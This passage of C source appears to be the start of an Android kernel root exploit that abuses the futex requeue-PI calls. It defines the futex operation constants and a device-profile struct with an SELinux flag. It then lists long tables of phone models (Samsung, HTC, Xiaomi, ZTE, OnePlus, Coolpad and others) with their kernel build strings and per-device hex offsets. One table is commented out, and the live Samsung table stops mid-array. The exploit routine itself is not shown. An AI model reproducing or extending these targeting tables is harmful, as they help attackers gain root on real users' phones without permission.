#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/system_properties.h>

#define SOCKET_PORT_NUM		14567

#ifdef DEBUG
#define printff    printf
#else
#define printff(...) 
#endif

#define FUTEX_WAIT_REQUEUE_PI   11
#define FUTEX_CMP_REQUEUE_PI    12
#define FUTEX_LOCK_PI           6

#define PR_SET_NAME    15 

#define SYS_NMLN 65

typedef enum __bool { false = 0, true = 1, } bool;

struct utsname {
    char  sysname   [SYS_NMLN]; //linux
    char  nodename  [SYS_NMLN]; //locolhost
    char  release   [SYS_NMLN];  //3.4.4xxx
    char  version   [SYS_NMLN];  //#1 #SMPxxx
    char  machine   [SYS_NMLN];   //armv7
    char  domainname[SYS_NMLN];   //localdomain
};
typedef struct _sam{
	
	char band[8];
	char model[32];
	char buildno[64];
	char version[64];
	unsigned int e;
	unsigned int f;
	unsigned int a;
	unsigned int b;
	unsigned int c;
	unsigned int selinux_mark;
	unsigned int h;
}sam, *psam;

/*
sam  sam_all[] = {{"Xiaomi","HM 1S","3.4.0-gbdcefaa-00208-ga306251","#1 SMP PREEMPT Wed Apr 2 21:08:32 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x5, },\
{"Xiaomi","HM 1S","3.4.0-g6e12f86-00266-g8cd00c9","#1 SMP PREEMPT Wed Apr 23 21:27:00 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x5, },\
{"Xiaomi","HM 1S","3.4.0-g6e12f86-00267-g31dec44","#1 SMP PREEMPT Thu May 8 17:07:00 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x5, },\
{"Xiaomi","HM 1S","3.4.0-g6e12f86-00267-g31dec44","#1 SMP PREEMPT Thu May 8 17:07:00 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x5, },\
{"Xiaomi","HM 1S","3.4.0-g6e12f86-00266-g8cd00c9","#1 SMP PREEMPT Wed Apr 23 21:27:00 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x5, },\
{"Xiaomi","HM 1S","3.4.0-gbdcefaa-00208-ga306251","#1 SMP PREEMPT Wed Apr 2 21:08:32 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x5, },\
{"ONEPLUS","A0001","3.4.0-svn8597","#1 SMP PREEMPT Mon Jun 30 11:09:03 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x5, },\
{"ZTE","X9180","3.4.0-g1520d93-00053-g2bd6c63","#1 SMP PREEMPT Tue Jul 8 18:54:20 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x5, },\
{"ZTE","U9180","3.4.0-g7f45615-00083-g8b08b45","#1 SMP PREEMPT Thu Jun 26 17:30:17 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x5, },\
{"ZTE","ZTE Grand S II LTE","3.4.0-g9711309-00001-gdd14e65","#1 SMP PREEMPT Mon May 12 13:03:07 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x5, },\
{"ZTE","X9180","3.4.0-g1520d93-00061-g3c20559","#1 SMP PREEMPT Wed Aug 6 18:54:20 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"nubia","NX507J","3.4.0-perf-gbd8e2f8","#1 SMP PREEMPT Wed Jul 9 17:44:34 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"nubia","NX507J","3.4.0-perf-gc6039ff","#1 SMP PREEMPT Sat Jul 19 10:57:12 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"Meizu","M351","3.4.43-user-gea3150d","#2 SMP PREEMPT Mon Apr 21 09:41:49 CST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20,0x0, 0x5, },\
{"Meizu","M351","3.4.43-user-gea3150d","#2 SMP PREEMPT Mon Apr 21 09:41:49 CST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20,0x0, 0x5, },\
{"LENOVO","Lenovo B8080-F","3.4.0-ga94d719-00042-g8921676","#1 SMP PREEMPT Fri Apr 25 10:20:20 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"htc","HTC D816t","3.4.0-g5dcfa66","#1 SMP PREEMPT Wed Apr 9 21:05:08 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"htc","HTC D816t","3.4.0-g77ac3fc","#1 SMP PREEMPT Tue May 6 20:36:59 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"htc","HTC D816t","3.4.0-g85f30fb","#1 SMP PREEMPT Fri Jun 13 20:02:47 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"htc","HTC D816t","3.4.0-gfcd98b7","#1 SMP PREEMPT Mon Jun 23 17:28:35 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"htc","HTC D816t","3.4.0-g5dcfa66","#1 SMP PREEMPT Wed Apr 9 21:05:08 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"htc","HTC D816t","3.4.0-g18e2952","#1 SMP PREEMPT Fri Apr 11 13:24:06 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"htc","HTC D816t","3.4.0-g06194b1","#1 SMP PREEMPT Thu Apr 24 23:24:24 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"htc","HTC D816t","3.4.0-g06194b1","#1 SMP PREEMPT Mon Apr 28 17:16:43 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"htc","HTC D816t","3.4.0-g77ac3fc","#1 SMP PREEMPT Tue May 6 20:37:06 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"htc","HTC D816t","3.4.0-ga072f6c","#1 SMP PREEMPT Mon May 5 21:43:20 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"htc","HTC D816w","3.4.0-g18e2952","#1 SMP PREEMPT Fri Apr 11 13:24:06 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"htc","HTC D816w","3.4.0-gfde97ee","#1 SMP PREEMPT Tue Jun 24 15:08:11 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"htc","HTC D816w","3.4.0-g001b437","#1 SMP PREEMPT Mon May 5 23:31:34 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"htc","HTC D816w","3.4.0-ga65ece7","#1 SMP PREEMPT Mon Jul 7 18:23:47 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"htc","HTC D816w","3.4.0-gfde97ee","#1 SMP PREEMPT Fri Jun 13 22:26:23 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"htc","HTC D816w","3.4.0-g518cefc","#1 SMP PREEMPT Fri Mar 7 16:11:56 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"htc","HTC D816w","3.4.0-g518cefc","#1 SMP PREEMPT Fri Mar 14 21:27:52 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"htc","HTC D816w","3.4.0-g001b437","#1 SMP PREEMPT Mon May 5 23:10:03 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"htc","HTC D816w","3.4.0-gd6e1fb5","#1 SMP PREEMPT Tue Mar 11 00:42:24 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"htc","HTC D816w","3.4.0-g29bee57","#1 SMP PREEMPT Wed Jul 9 15:18:53 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"htc","HTC D816w","3.4.0-gd051957","#1 SMP PREEMPT Thu Feb 27 22:49:38 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"LGE","LG-D858","3.4.0-perf-g137b505","#1 SMP PREEMPT Sat Jul 12 00:54:06 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"CMCC","M811","3.4.0-gac10c3f","#1 SMP PREEMPT Fri Jun 6 14:06:06 CST 2014", 0x0, 0x40, 0x60, 0x5c,0x1cd4,0x0, 0x0, },\
{"ONEPLUS","A0001","3.4.0-svn7952","#1 SMP PREEMPT Fri May 30 15:54:10 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"ONEPLUS","A0001","3.4.0-svn9419","#1 SMP PREEMPT Thu Aug 7 20:19:47 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"ONEPLUS","A0001","3.4.0-svn9453","#1 SMP PREEMPT Mon Aug 11 14:02:06 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"ONEPLUS","A0001","3.4.0","#1 SMP PREEMPT Fri Aug 22 01:15:15 HKT 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"CMCC","M811","3.4.0-g486a9c3","#1 SMP PREEMPT Wed May 21 04:37:01 CST 2014", 0x0, 0x40, 0x60, 0x5c,0x1cd4,0x0, 0x0, },\
{"CMCC","M811","3.4.0-g12a230a","#1 SMP PREEMPT Fri Jul 4 12:15:42 CST 2014", 0x0, 0x40, 0x60, 0x5c,0x1cd4,0x0, 0x0, },\
{"CMCC","M811","3.4.0-g4efc803","#1 SMP PREEMPT Tue Jul 29 19:50:30 CST 2014", 0x0, 0x40, 0x60, 0x5c,0x1cd4,0x0, 0x0, },\
{"CMCC","M811","3.4.0-g4efc803","#1 SMP PREEMPT Fri Aug 1 10:56:01 CST 2014", 0x0, 0x40, 0x60, 0x5c,0x1cd4,0x0, 0x0, },\
{"CMCC","M811","3.4.0-g4efc803","#1 SMP PREEMPT Fri Aug 15 16:03:13 CST 2014", 0x0, 0x40, 0x60, 0x5c,0x1cd4,0x0, 0x0, },\
{"nubia","NX505J","3.4.0-perf-g288a0d1","#1 SMP PREEMPT Sat Aug 16 16:16:48 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"nubia","NX505J","3.4.0-perf-gca4a1a0","#1 SMP PREEMPT Wed Jul 23 17:25:44 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"nubia","NX505J","3.4.0-perf-gbd8e2f8","#1 SMP PREEMPT Wed Jul 9 15:15:15 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x1, 0x5, },\
{"Coolpad","Coolpad 8730L","3.4.0-g1e451e8-04482-g98e9db5","#1 SMP PREEMPT Tue Apr 29 22:48:19 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"Coolpad","Coolpad 8730L","3.4.0-g1e451e8-04426-gf39fdf6","#1 SMP PREEMPT Thu Mar 27 21:52:27 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"Coolpad","Coolpad 8730L","3.4.0-g1e451e8-04485-g36593cb","#1 SMP PREEMPT Thu Jun 5 12:35:35 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"Coolpad","Coolpad 8730L","3.4.0-g1e451e8-03427-g0b411e6","#1 SMP PREEMPT Sun Jan 26 22:02:20 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"Coolpad","Coolpad 8730L","3.4.0-g1e451e8-04477-g8daa6bc","#1 SMP PREEMPT Fri Apr 18 00:22:28 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"Coolpad","Coolpad 8730L","3.4.0-g1e451e8-03440-gb463996","#1 SMP PREEMPT Tue Mar 4 00:16:44 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"Coolpad","Coolpad 8730L","3.4.0-g1e451e8-03431-g2587558","#1 SMP PREEMPT Tue Jan 28 19:48:25 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"Coolpad","Coolpad 8730L","3.4.0-g1e451e8-04486-gb987956","#1 SMP PREEMPT Tue Jul 29 16:02:23 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"qcom","K-Touch Tou ch3","3.4.0-gdf2ce8e-00061-ga58a3ee","#1 SMP PREEMPT Wed Jan 15 20:35:26 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"qcom","K-Touch Tou ch3","3.4.0-gdf2ce8e-00102-g71b9db0","#1 SMP PREEMPT Sat Feb 8 20:45:59 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"qcom","K-Touch Tou ch3","3.4.0-gdf2ce8e-00102-g71b9db0","#1 SMP PREEMPT Wed Feb 12 13:27:40 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"qcom","K-Touch Tou ch3","3.4.0-gdf2ce8e-00104-gd7d4def","#1 SMP PREEMPT Fri Feb 21 13:01:42 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"qcom","K-Touch Tou ch3","3.4.0-gdf2ce8e-00139-gd2959ff","#1 SMP PREEMPT Tue Apr 1 12:07:38 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"qcom","K-Touch Tou ch3","3.4.0-gdf2ce8e-00108-gd9ff27a","#1 SMP PREEMPT Tue Apr 15 10:34:35 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"qcom","K-Touch Tou ch3","3.4.0-gdf2ce8e-00133-g711fe7d","#1 SMP PREEMPT Sat Mar 1 17:18:10 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"qcom","K-Touch Tou ch3","3.4.0-gdf2ce8e-00134-gc5acfad","#1 SMP PREEMPT Fri Mar 7 12:57:37 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"qcom","K-Touch Tou ch3","3.4.0-gdf2ce8e-00105-gc0372eb","#1 SMP PREEMPT Wed Mar 12 10:59:16 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"qcom","K-Touch Tou ch3","3.4.0-gdf2ce8e-00136-g555e182","#1 SMP PREEMPT Sat Mar 15 00:06:40 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"qcom","K-Touch Tou ch3","3.4.0-gdf2ce8e-00106-g1f6e2cf","#1 SMP PREEMPT Mon Mar 24 14:48:06 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"qcom","K-Touch Tou ch3","3.4.0-gdf2ce8e-00145-g4e68c2d","#1 SMP PREEMPT Mon May 5 15:35:27 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"qcom","K-Touch Tou ch3","3.4.0-gdf2ce8e-00146-gb609332","#1 SMP PREEMPT Mon May 26 12:53:45 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"qcom","K-Touch Tou ch3","3.4.0-gdf2ce8e-00011-g1dc0172","#1 SMP PREEMPT Sat Dec 21 12:50:52 CST 2013", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"ZTE","ZTE Q505T","3.4.0","#1 SMP PREEMPT Mon Apr 14 03:06:01 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"ZTE","ZTE Q505T","3.4.0","#2 SMP PREEMPT Wed Apr 16 16:35:28 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"ZTE","ZTE Q505T","3.4.0","#1 SMP PREEMPT Mon Apr 28 16:04:32 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"ZTE","ZTE Q505T","3.4.0","#1 SMP PREEMPT Wed May 21 14:54:52 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"ZTE","ZTE Q505T","3.4.0","#1 SMP PREEMPT Wed Jun 18 14:00:23 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"ZTE","ZTE Q505T","3.4.0","#1 SMP PREEMPT Wed Jul 2 19:01:51 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"Samsung","SM-N9006","3.4.0-943469","#1 SMP PREEMPT Thu Mar 6 21:05:42 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
{"Samsung","SM-N9006","3.4.0-943469","#1 SMP PREEMPT Mon Mar 24 18:17:14 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
{"Samsung","SM-N9006","3.4.0-943469","#1 SMP PREEMPT Wed Apr 2 01:05:31 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
{"Samsung","SM-N9006","3.4.0-943469","#1 SMP PREEMPT Wed May 14 17:27:08 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
{"Coolpad","Coolpad 8729","3.4.0-g1e451e8-04433-g5a21c52","#1 SMP PREEMPT Fri Mar 28 16:11:03 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"Coolpad","Coolpad 8729","3.4.0-g1e451e8-04500-g31d5610","#1 SMP PREEMPT Tue Jul 8 12:27:23 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"Coolpad","Coolpad 8729","3.4.0-g1e451e8-04496-g630e443","#1 SMP PREEMPT Wed Apr 23 20:34:54 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"Coolpad","Coolpad 8729","3.4.0-g1e451e8-04500-g31d5610","#1 SMP PREEMPT Fri Jun 13 15:42:18 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"Coolpad","Coolpad 8729","3.4.0-g1e451e8-04496-g630e443","#1 SMP PREEMPT Fri Apr 18 11:32:24 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"Coolpad","Coolpad 8729","3.4.0-g1e451e8-04496-g630e443","#1 SMP PREEMPT Tue May 27 23:34:03 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"Coolpad","Coolpad 8729","3.4.0-g1e451e8-04351-ga5fd9de","#1 SMP PREEMPT Fri Mar 14 11:41:36 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"Coolpad","Coolpad 8729","3.4.0-g1e451e8-04500-g31d5610","#1 SMP PREEMPT Tue Jul 1 15:37:39 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, },\
{"Coolpad","Coolpad 8729","3.4.0-g1e451e8-04473-g24d6497","#1 SMP PREEMPT Wed Apr 9 00:27:59 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4,0x0, 0x0, }};
*/

sam  sam_all[] ={{"samsung", "SCH-I959","3.4.5-1368777","#1 SMP PREEMPT Thu Apr 24 17:35:16 KST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },
	{"samsung", "SCH-I959","3.4.5-1368777","#1 SMP PREEMPT Thu Apr 24 17:32:31 KST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
	{"samsung","SM-N900","3.4.39-527589","#1 SMP PREEMPT Tue Jan 28 17:00:03 KST 2014", 0x20, 0x0, 0x60, 0x30,0x1d20,0x1, 0x5 },\
	{"samsung","SM-N900","3.4.39-527589","#1 SMP PREEMPT Tue Jan 28 17:00:03 KST 2014", 0x20, 0x0, 0x60, 0x30,0x1d20,0x1, 0x5 },\
	{"samsung","SM-N900","3.4.39-798522","#1 SMP PREEMPT Fri Feb 21 19:05:43 KST 2014", 0x20, 0x0, 0x60, 0x30,0x1d20,0x1, 0x5 },\
	{"samsung","SM-N900","3.4.39-1383905","#1 SMP PREEMPT Thu Apr 17 23:06:39 KST 2014", 0x20, 0x0, 0x60, 0x30,0x1d20,0x1, 0x5 },\
	{"samsung","SM-N900","3.4.39-1694499","#1 SMP PREEMPT Tue May 20 11:36:42 KST 2014", 0x20, 0x0, 0x60, 0x30,0x1d20,0x1, 0x5},\
	{"samsung","SM-N900","3.4.39-1921990","#1 SMP PREEMPT Thu Jun 12 15:55:43 KST 2014", 0x20, 0x0, 0x60, 0x30,0x1d20,0x1, 0x5 },\
	{"samsung","SM-G900H","3.10.9-1539356","#1 SMP PREEMPT Fri May 9 19:18:14 KST 2014", 0x20, 0x0, 0x60, 0x30,0x1d20 ,0x1, 0x6 },\
	{"samsung","SM-G900H","3.10.9-1018780","#1 SMP PREEMPT Thu Mar 13 23:10:49 KST 2014", 0x20, 0x0, 0x60, 0x30,0x1d20 ,0x1, 0x6 },\
	{"samsung","SM-G900H","3.10.9-1137955","#1 SMP PREEMPT Tue Mar 25 23:41:59 KST 2014", 0x20, 0x0, 0x60, 0x30,0x1d20 ,0x1, 0x6 },\
	{"samsung","SM-G900H","3.10.9-1183700","#1 SMP PREEMPT Mon Mar 31 14:25:05 KST 2014", 0x20, 0x0, 0x60, 0x30,0x1d20 ,0x1, 0x6 },\
	{"samsung","SM-G900H","3.10.9-1186981","#1 SMP PREEMPT Mon Mar 31 18:29:24 KST 2014", 0x20, 0x0, 0x60, 0x30,0x1d20 ,0x1, 0x6 },\
	{"Samsung","SM-N9006","3.4.0-943469","#1 SMP PREEMPT Thu Mar 6 21:05:42 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"Samsung","SM-N9006","3.4.0-943469","#1 SMP PREEMPT Mon Mar 24 18:17:14 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"Samsung","SM-N9006","3.4.0-943469","#1 SMP PREEMPT Wed Apr 2 01:05:31 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"Samsung","SM-N9006","3.4.0-943469","#1 SMP PREEMPT Wed May 14 17:27:08 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-G9006V","3.4.0-1716152","#1 SMP PREEMPT Wed May 21 20:31:32 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-G9006V","3.4.0-965559","#1 SMP PREEMPT Wed Mar 26 00:23:24 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-G9006V","3.4.0-965559","#1 SMP PREEMPT Wed Apr 2 10:18:02 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-G9006V","3.4.0-1716152","#1 SMP PREEMPT Wed May 21 20:31:32 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-G9006V","3.4.0-1716152","#1 SMP PREEMPT Wed Jun 4 11:34:24 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-N9008","3.4.0-1598409","#1 SMP PREEMPT Thu Sep 12 00:00:30 KST 2013", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-N9008","3.4.0-1598409","#1 SMP PREEMPT Thu Oct 10 18:03:56 KST 2013", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-N9008","3.4.0-503555","#1 SMP PREEMPT Fri Jan 24 23:47:16 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-N9008","3.4.0-607278","#1 SMP PREEMPT Thu Feb 6 11:19:05 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-N9008","3.4.0-1973843","#1 SMP PREEMPT Thu Feb 20 17:53:02 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-N9008","3.4.0-1973843","#1 SMP PREEMPT Wed May 7 09:39:02 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-G9008V","3.4.0-965559","#1 SMP PREEMPT Wed Mar 26 00:28:07 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-G9008V","3.4.0-965559","#1 SMP PREEMPT Wed Mar 26 00:28:07 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-G9008V","3.4.0-965559","#1 SMP PREEMPT Wed Apr 16 15:35:17 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-G9008V","3.4.0-965559","#1 SMP PREEMPT Thu May 8 20:30:33 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-G9008V","3.4.0-1716152","#1 SMP PREEMPT Wed May 21 20:30:54 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-G9008V","3.4.0-1716152","#1 SMP PREEMPT Mon Jun 9 18:02:40 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-N9009","3.4.0-1324431","#1 SMP PREEMPT Thu May 8 21:06:04 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-N9009","3.4.0-1324431","#1 SMP PREEMPT Wed May 28 17:45:07 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-N9009","3.4.0-1324431","#1 SMP PREEMPT Thu Jun 5 17:15:25 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-G9009D","3.4.0-1716152","#1 SMP PREEMPT Wed Jun 4 11:34:58 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-G9009D","3.4.0-965559","#1 SMP PREEMPT Wed Mar 12 22:42:56 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-G9009D","3.4.0-965559","#1 SMP PREEMPT Wed Apr 2 13:49:35 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-G9009D","3.4.0-965559","#1 SMP PREEMPT Mon Apr 14 18:41:08 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-G9009D","3.4.0-965559","#1 SMP PREEMPT Thu Apr 24 22:29:07 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-G9009D","3.4.0-1716152","#1 SMP PREEMPT Wed May 21 20:29:44 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","GT-I9500","3.4.5-913788","#1 SMP PREEMPT Mon Mar 31 18:54:49 KST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
	{"samsung","GT-I9500","3.4.5-913788","#1 SMP PREEMPT Tue Jun 10 14:26:11 KST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
	{"samsung","GT-I9500","3.4.5-1938685","#1 SMP PREEMPT Mon Oct 21 22:21:25 KST 2013", 0x20, 0x0, 0x60, 0x40,0x1d20 ,0x1, 0x5 },\
	{"samsung","GT-I9500","3.4.5-699287","#1 SMP PREEMPT Thu Feb 13 20:28:09 KST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
	{"samsung","GT-I9500","3.4.5-805576","#1 SMP PREEMPT Mon Feb 24 20:44:00 KST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
	{"samsung","GT-I9500","3.4.5-913788","#1 SMP PREEMPT Wed Mar 26 11:14:51 KST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
